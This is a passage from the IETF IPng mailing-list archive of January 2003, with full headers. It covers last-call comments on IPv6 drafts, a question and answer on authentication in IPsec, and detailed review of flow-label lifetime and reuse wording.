	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0H6qd4w024991
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 22:52:39 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA27292
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 22:52:33 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0H6qTL16932;
	Fri, 17 Jan 2003 08:52:29 +0200
Date: Fri, 17 Jan 2003 08:52:28 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Hinden <hinden@iprg.nokia.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB"
In-Reply-To: <4.3.2.7.2.20030116115004.033ad280@mailhost.iprg.nokia.com>
Message-ID: <Pine.LNX.4.44.0301170851050.16802-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 16 Jan 2003, Bob Hinden wrote:
> This is a IPv6 working group last call for comments on advancing the 
> following document as a Proposed Standard:

"Advancing as a Proposed Standard"?  I assume you didn't mean DS because 
I'm not sure how widely that is implemented yet, but rather "publish it as 
PS" ?

> 	Title		: IP Forwarding Table MIB
> 	Author(s)	: M. Wasserman
> 	Filename	: draft-ietf-ipv6-rfc2096-update-02.txt
> 	Pages		: 30
> 	Date		: 2002-11-7
> 
> Please send substantive comments to the ipng mailing list, and minor
> editorial comments to the document editor.  This last call period will end 
> on January 30, 2003.
> 
> Bob Hinden
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
> 

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 16 22:58:47 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0H6wk16023043;
	Thu, 16 Jan 2003 22:58:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0H6wkCZ023042;
	Thu, 16 Jan 2003 22:58:46 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0H6wh16023035
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 22:58:43 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0H6wp4w025741
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 22:58:51 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA29711
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 22:58:45 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0H6wgM16951;
	Fri, 17 Jan 2003 08:58:42 +0200
Date: Fri, 17 Jan 2003 08:58:42 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Hinden & Margaret Wasserman <hinden@iprg.nokia.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "A Flexible Method for Managing the 
 Assignment of Bytes of an IPv6 Address Block"
In-Reply-To: <4.3.2.7.2.20030116113012.033b1ef8@mailhost.iprg.nokia.com>
Message-ID: <Pine.LNX.4.44.0301170853480.16802-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 16 Jan 2003, Bob Hinden & Margaret Wasserman wrote:
> This is a IPv6 working group last call for comments on advancing the 
> following document as an Informational RFC:
> 
> 	Title		: A Flexible Method for Managing the Assignment of
>                           Bits of an IPv6 Address Block
> 	Author(s)	: M. Blanchet
> 	Filename	: draft-ietf-ipv6-ipaddressassign-06.txt
> 	Pages		: 8
> 	Date		: 2003-1-6

I don't have problems with this, though I'm not sure how useful this is 
for most (but for some, certainly).

A point I've raised in the past is, most operators are not really
interested in optimizing the address assignments on a bit level (provided
that the number of customers is not so high it would be required).  
Rather, here we do so with nibbles.  Those are easier to calculate in the
head and work better with reverse DNS delegations too.

But I'm not sure whether this kind of "coarser approach for flexible
assignment" calls for some text or not.  A mention at most, I think.  
What do others feel?

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 02:59:09 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KAx916003224;
	Mon, 20 Jan 2003 02:59:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0KAx9ux003223;
	Mon, 20 Jan 2003 02:59:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KAx616003216
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 02:59:06 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0KAxE4w019539
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 02:59:14 -0800 (PST)
Received: from vador.skynet.be (vador.skynet.be [195.238.3.236])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA06118
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 03:59:08 -0700 (MST)
Received: from tsn (210.107-200-80.adsl.skynet.be [80.200.107.210])
	by vador.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.20) with ESMTP id h0KAx1c25038
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 11:59:01 +0100 (MET)
	(envelope-from <mario.goebbels@skynet.be>)
Message-Id: <200301201059.h0KAx1c25038@vador.skynet.be>
From: "Mario Goebbels" <mario.goebbels@skynet.be>
To: <ipng@sunroof.eng.sun.com>
Subject: Question about IPsec in IPv6
Date: Mon, 20 Jan 2003 11:59:03 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook, Build 11.0.4523
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3718.0
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi!

I want to know if there have been made additions to the IPsec part on
IPv6. Something that bugs me to Ipsec on IPv4 is that it either required
some system backed authentication (Kerberos), some CA issued certificate
or the worst solution being a static keyphrase. Now to my question: Does
IPsec in IPv6 allow adhoc connections not requiring any certificates,
rather just doing a simple key exchange (e.g. using a set of randomly
generated public keys), with the simple purpose to encrypt the
connection?

Thanks for any infos!

-mg

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 03:18:03 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KBI316003352;
	Mon, 20 Jan 2003 03:18:03 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0KBI3uF003351;
	Mon, 20 Jan 2003 03:18:03 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KBHx16003344
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 03:17:59 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0KBI94w021947
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 03:18:09 -0800 (PST)
Received: from laposte.rennes.enst-bretagne.fr (laposte.rennes.enst-bretagne.fr [192.44.77.17])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA00327
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 03:18:03 -0800 (PST)
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by laposte.rennes.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id h0KBHuh22943;
	Mon, 20 Jan 2003 12:17:57 +0100
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.12.3/8.12.3) with ESMTP id h0KBHXof098818;
	Mon, 20 Jan 2003 12:17:33 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200301201117.h0KBHXof098818@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Mario Goebbels" <mario.goebbels@skynet.be>
cc: ipng@sunroof.eng.sun.com
Subject: Re: Question about IPsec in IPv6 
In-reply-to: Your message of Mon, 20 Jan 2003 11:59:03 +0100.
             <200301201059.h0KAx1c25038@vador.skynet.be> 
Date: Mon, 20 Jan 2003 12:17:33 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

 In your previous mail you wrote:

   I want to know if there have been made additions to the IPsec part on
   IPv6. Something that bugs me to Ipsec on IPv4 is that it either required
   some system backed authentication (Kerberos), some CA issued certificate
   or the worst solution being a static keyphrase. Now to my question: Does
   IPsec in IPv6 allow adhoc connections not requiring any certificates,
   rather just doing a simple key exchange (e.g. using a set of randomly
   generated public keys), with the simple purpose to encrypt the
   connection?
   
=> I disagree: without authentication (by a pre-shared secret,
certificate/signature or public key) you can be attacked by the
Man-In-The-Middle, i.e., you can get a very secure connection with
a bad guy, not the intended correspondent. There are some schemes
where one participant can be anonymous, but at most one (i.e., never both).

Regards

Francis.Dupont@enst-bretagne.fr

PS: there is no difference between IPv4 and IPv6 in IPsec.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 04:26:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KCQY16003756;
	Mon, 20 Jan 2003 04:26:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0KCQY69003755;
	Mon, 20 Jan 2003 04:26:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KCQV16003748
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 04:26:31 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0KCQegE029584
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 04:26:41 -0800 (PST)
Received: from durendal.skynet.be (durendal.skynet.be [195.238.3.91])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA03696
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 05:26:34 -0700 (MST)
Received: from tsn (210.107-200-80.adsl.skynet.be [80.200.107.210])
	by durendal.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.20) with ESMTP id h0KCQHc23925;
	Mon, 20 Jan 2003 13:26:17 +0100 (MET)
	(envelope-from <mario.goebbels@skynet.be>)
Message-Id: <200301201226.h0KCQHc23925@durendal.skynet.be>
From: "Mario Goebbels" <mario.goebbels@skynet.be>
To: "'Francis Dupont'" <Francis.Dupont@enst-bretagne.fr>
Cc: <ipng@sunroof.eng.sun.com>
Subject: RE: Question about IPsec in IPv6 
Date: Mon, 20 Jan 2003 13:26:26 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook, Build 11.0.4523
In-Reply-To: <200301201117.h0KBHXof098818@givry.rennes.enst-bretagne.fr>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3718.0
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> => I disagree: without authentication (by a pre-shared 
> secret, certificate/signature or public key) you can be 
> attacked by the Man-In-The-Middle, i.e., you can get a very 
> secure connection with a bad guy, not the intended 
> correspondent. There are some schemes where one participant 
> can be anonymous, but at most one (i.e., never both).

Is this scheme used anywhere on the net? Can I make use of it whatever
time I want? E.g. the server has a cert and I dont, but the server
requires IPsec, my client will respond even without cert?

Well I asked that question, lets say for the case that two endusers
without any certificates can build up a secure line between each other.
For example an IM application could turn on IPsec without certificate.
The problem is I don't see endusers buying certificates anytime soon,
which might be important for pure P2P applications wanting to use the
IPsec protocol, at least in my thoughts.

Thanks for any info

-mg

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 04:56:40 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KCud16004324;
	Mon, 20 Jan 2003 04:56:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0KCudtm004323;
	Mon, 20 Jan 2003 04:56:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KCua16004316
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 04:56:36 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0KCukgE003072
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 04:56:46 -0800 (PST)
Received: from laposte.rennes.enst-bretagne.fr (laposte.rennes.enst-bretagne.fr [192.44.77.17])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA20352
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 04:56:40 -0800 (PST)
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by laposte.rennes.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id h0KCubh24540;
	Mon, 20 Jan 2003 13:56:37 +0100
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.12.3/8.12.3) with ESMTP id h0KCuDof099119;
	Mon, 20 Jan 2003 13:56:13 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200301201256.h0KCuDof099119@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Mario Goebbels" <mario.goebbels@skynet.be>
cc: ipng@sunroof.eng.sun.com
Subject: Re: Question about IPsec in IPv6 
In-reply-to: Your message of Mon, 20 Jan 2003 13:26:26 +0100.
             <200301201226.h0KCQHc23925@durendal.skynet.be> 
Date: Mon, 20 Jan 2003 13:56:13 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

 In your previous mail you wrote:

   > => I disagree: without authentication (by a pre-shared 
   > secret, certificate/signature or public key) you can be 
   > attacked by the Man-In-The-Middle, i.e., you can get a very 
   > secure connection with a bad guy, not the intended 
   > correspondent. There are some schemes where one participant 
   > can be anonymous, but at most one (i.e., never both).
   
   Is this scheme used anywhere on the net?

=> yes, anywhere but not in any case.

   Can I make use of it whatever time I want?

=> no, it works only on client-server interactions where the server
doesn't bother about  who is the client. It is safe for the client (the
server is authenticated) but not for the server (but it doesn't matter).
With IKE the traditional way to do this is to enable self-signed
certificates. HIP and opportunistic encryption have this style
of anonymous initiators (and both use DNSSEC for strong authentication).

   E.g. the server has a cert and I dont, but the server
   requires IPsec, my client will respond even without cert?
   
=> if the server requires IPsec only because of its service and
gives the same right to any client then a self-signed cert can be
a good solution. SSL/TLS is commonly used with this kind of asymmetrical
authentication.

   Well I asked that question, lets say for the case that two endusers
   without any certificates can build up a secure line between each other.

=> they can't.

   For example an IM application could turn on IPsec without certificate.
   The problem is I don't see endusers buying certificates anytime soon,
   which might be important for pure P2P applications wanting to use the
   IPsec protocol, at least in my thoughts.
   
=> not only they have to use certificates & co, but a global PKI is needed...

Regards

Francis.Dupont@enst-bretagne.fr
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 08:34:32 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KGYW16005754;
	Mon, 20 Jan 2003 08:34:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0KGYWCu005753;
	Mon, 20 Jan 2003 08:34:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KGYT16005746
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 08:34:29 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0KGYX4w007836
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 08:34:34 -0800 (PST)
Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA29247
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 09:34:28 -0700 (MST)
Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22])
	by e33.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id h0KGYMYs060166;
	Mon, 20 Jan 2003 11:34:22 -0500
Received: from cichlid.adsl.duke.edu (sig-9-65-205-121.mts.ibm.com [9.65.205.121])
	by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id h0KGYKPa026434;
	Mon, 20 Jan 2003 09:34:21 -0700
Received: from cichlid.adsl.duke.edu (narten@localhost)
	by cichlid.adsl.duke.edu (8.11.6/8.9.3) with ESMTP id h0KGY7123986;
	Mon, 20 Jan 2003 11:34:08 -0500
Message-Id: <200301201634.h0KGY7123986@cichlid.adsl.duke.edu>
To: jarno.rajahalme@nokia.com
cc: brian@hursley.ibm.com, ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt 
In-Reply-To: Message from jarno.rajahalme@nokia.com
   of "Mon, 13 Jan 2003 15:51:50 +0200." <009CA59D1752DD448E07F8EB2F91175701FD01E7@esebe004.ntc.nokia.com> 
Date: Mon, 20 Jan 2003 11:34:07 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> So how about this:

> "The 20-bit Flow Label field in the IPv6 header [IPv6] is used by a
>  source to label packets of a flow. Packet classifiers use the triplet
>  of Flow Label, Source Address, and Destination Address fields to
>  identify which flow a particular packet belongs to. Packets are
>  processed in a flow-specific manner by the nodes that have been set
>  up with flow-specific state. A Flow Label of zero indicates an
>  unlabelled packet that is given no special treatment. The nature of
>  the specific treatment and the methods for the flow state
>  establishment are out of scope for this specification."

Works for me.

> > > Well, I think we want the SHOULD in there. We mean it.
> > 
> > Make the "SHOULD implement" a separate point from the definition
> > itself then. And have it refer specifically (for hosts) that they
> > SHOULD label outgoing packets. That is what I think we are aiming for.
> > 

> I think we are stating the "SHOULD label" in the section 3 ("Flow
> Labeling Requirements") is sufficient? Comments?

Agreed.

> > > We don't know, and 60 seconds is a compromise value anyway. 
> > But there
> > > seemed to be WG consensus that a default timeout is needed, since
> > > otherwise we are licensing implementors to create hard 
> > state. The authors
> > > have been round and round this many times, and this was the best we
> > > could come up with. (more comment on this below)
> > 
> > Well, I have a basic problem with a default timeout of 60
> > seconds. Heck, a temporary routing glitch can cause a loss of traffic
> > for 60 seconds, yet the TCP sesssion doesn't go away that quickly. So
> > 60 seconds seem like a rather odd compromise value. Seems too short to
> > me.
> > 

> Presumably the node can re-create the state it needs after the
> gap. Since there was a long gap, there should be no reordering
> issues (in case the new state for example determines a different
> next-hop interface).

> For reference, RFC 1883 defined a lifetime value of 6 seconds.

Not really relevant, as that had to do with the now discredited
opportunistic caching that is explicitely deprecated by this document.

> As I said above, I do not know any use of flow-specific state
> without the support of a flow state establishment method. But if we
> do not define a default lifetime now, it cannot be added
> later. Also, it seems logical to have *some* pause before a
> previously used flow label value should be re-used for a new flow.

I don't necessarily disagree with the need for a default lifetime. But
I think 60 seconds is too short. It seems to me that it would be
better to tie it to something more meaningful, like TCP lifetimes. At
least, if we're just picking a value out of the hat. Why is 60 seconds
better than 2 minutes? Why is 2 minutes wrong compared to 1 minute?

Let me state it differently. What I'm hearing is that we want a
default, but that 60 seconds has been pulled out of thin air. I can't
evaluate whether that is a good default or not, because I don't
understand the tradeoffs.  I'm arguing that its too short, but the
reasons for keeping it short don't seem (to me) to be very
rigorous. What are the tradeoffs here that would lead one to pick a
longer or shorter value? Some thoughts:

There is a cost associated with a short default, in that routers will
be forced to rebuild the flow state more frequently. Given that
temoporary routing issues can easily last more than a 60 seconds, and
that a normal TCP connection/flow will sometimes not send traffic for
60 seconds, I worry that this cost is relatively high. Is that cost
justified?

There is also a cost for the default being longer on hosts, as they
need to not reuse flow labels too quickly. The issue seems most acute
across reboots. Is it substantially more overhead for a host to not
reuse a flow label for (say 5 minute) vs. one minute? I don't think
so.

Are there other issues that should be considered here?

> WG chairs (collectively) insisted on the definition of the default
> lifetime, and there were no opposing voices on this from the WG.

> I do not think the default lifetime should have anything to do with
> TCP timeouts, as long as it is long enough to not cause any
> reordering issues. But this is not an issue for me, any value is
> fine, especially if someone could come up with good justification
> for the value :-)

The comment about reordering suggests some reason for a particular
value. But I don't understand what the reording issue is. In general,
we don't want to reorder packets. Not good for TCP. But reording can
happen, and it doesn't break things if it's a transient issue. What
reordering issues occur with flow state? If I understood the issue
better, it might lead me to agree that 60 seconds makes sense. But I
don't have a good handle on the underlying issue.

Thoughts?

> > > > What problem is the above wording intended to address?
> > 
> > > Use cases that nobody has thought of yet.
> > 
> > I don't understand this answer. If a router does something
> > flow-specfic for flow X, but then sees no traffic for 60 seconds, the
> > implication now is that it shouldn't give flow X the same treatement
> > it was just giving it just 60 seconds ago.
> > 

> No. It would still give the flow X, but it would just need to re-use

s/would/could/? If it will continue giving the flow X, what was the
point of re-creating X?

> the algorithm/method/whatever to re-create the X after the gap, if
> it flushed the X.

> It might be likely that X is not really flow-specific, but can be
> applied to aggregates of flows. In this case there is no point in
> flushing the X (ever).

> > > > > 3.  Flow Labeling Requirements
> > > > >
> > > > >    To enable Flow Label based classification, sources 
> > SHOULD assign each
> > > > >    unrelated transport connection and application data 
> > stream to a new
> > > > >    flow. The source MAY also take part in flow state 
> > establishment
> > > > >    methods that result in assigning certain packets to 
> > specific flows. A
> > > > >    source which does not assign traffic to flows MUST 
> > set the Flow Label
> > > > >    to zero.
> > > > 

> You left the 2nd paragraph out from your quote. I think it should be
> considered here as well:

> "To enable applications and transport protocols to define what packets
>  constitute a flow, the source node MUST provide means for the
>  applications and transport protocols to specify the Flow Label values
>  to be used with their flows. The source node SHOULD be able to select
>  unused Flow Label values for flows not requesting a specific value to
>  be used."

OK. I still find the wording a bit confusing though. Maybe it's
because of the use of the term "source". Source can mean application,
or the IP stack or the host as a whole. Above, I guess it means "IP
stack", but I have to think about this before coming to that
conclusion. It might be better to be even more precise.

> > Here's a slightly less delta-ish proposal relative to the current
> > text:
> > 
> >    A source node MUST ensure that it does not reuse Flow Label values
> >    it is currently using or has recently used when creating new
> >    flows. Flow Label values previously used with a specific pair of
> >    source and destination addresses MUST NOT be assigned to new flows
> >    with the same address pair within 60 seconds of the termination of
> >    the previous flow. If the previous flow had a lifetime longer than
> >    the default 60 seconds, a quarantine period of at least the length
> >    of the lifetime MUST be observed before reusing that Flow Label.
> > 

> The changes (1st and last sentences) seem good to me.

OK.

> > Note: this last sentence seems hard to achieve. it suggests that if a
> > future flow establishment method uses longer lifetimes, the stack will
> > have to be retrofitted to figure out somehow not to reuse those flow
> > label values for the longer period. I suspect that future uses of the
> > flow label (i.e., the signalling partz) may well be implemented
> > separately from the base IP stack Flow Label support, and it may not
> > be possible for the signalling to ensure the quarantine behavior.
> > 

> There are at least two ways to implement this:

> 1) the stack implementation allows the application (or any
> middleware on top of the stack) to define the lifetime, that the
> stack will then honor (e.g. by not assigning that value to any new
> flow for the timeout value after all sockets belonging to that flow
> have been closed), possibly individually for the flow, or by
> utilizing the longest timeout for all flows.

> 2) In the absence of the interface for the non-default lifetime, the
> FSEM could keep the flow "reserved" for timeout-60 seconds after the
> flow's traffic has finished, and only after that release the label
> back to the stack (which would then keep the value reserved for the
> normal 60 seconds).

I agree the above can be done. Do you really expect implementations to
do 1) above based on the wording in the current spec? I have my
doubts.

> How about:

> "The requirement of not reusing a Flow Label value for a new flow with
>  the same pair of source and destination addresses extends across
>  source node crashes and reboots. To avoid accidental Flow Label value
>  reuse, the source node SHOULD select new Flow Label values in a well-
>  defined sequence (e.g. sequential or pseudo-random) and use a
>  different initial value for the sequence each time the system starts.
>  The initial value could be randomly generated, or computed from a
>  previous value stored in non-volatile memory."

Better, but still not quite right. If the machine has no stable
storage for remembering previous values, the random approach is the
best we can do. But for those with stable storage, random is
presumbaly less desirable, and the new value should be based on
previous history. If that is what we want to recommend, it would be
better to just say so.  It is also not enough that it uses a
"different" initial value from the previous initial value, it needs to
be one that avoids collisions with recently previously used flow
IDs. E.g., something like:

   To avoid accidental Flow Label value reuse, the source node SHOULD
   select new Flow Label values in a well-defined sequence
   (e.g. sequential or pseudo-random) and use an initial value that
   avoids reuse of recently used Flow Label values each time the
   system restarts.  The initial value should be derived from a
   previous value stored in non-volatile memory, or in the absence of
   such history, a randomly generated initial value using techniques
   that produce good randomness properties [RFC 1750???].


> You might want to read the -03 draft (at
> http://www.ietf.org/proceedings/02nov/I-D/draft-ietf-ipv6-flow-label-03.txt
> ) it had 6 requirements. Some of them were clarifying implications
> of the other text, but were cut of to reduce the complexity of the
> document.

> It would be good if you could read the -03 version to see if we
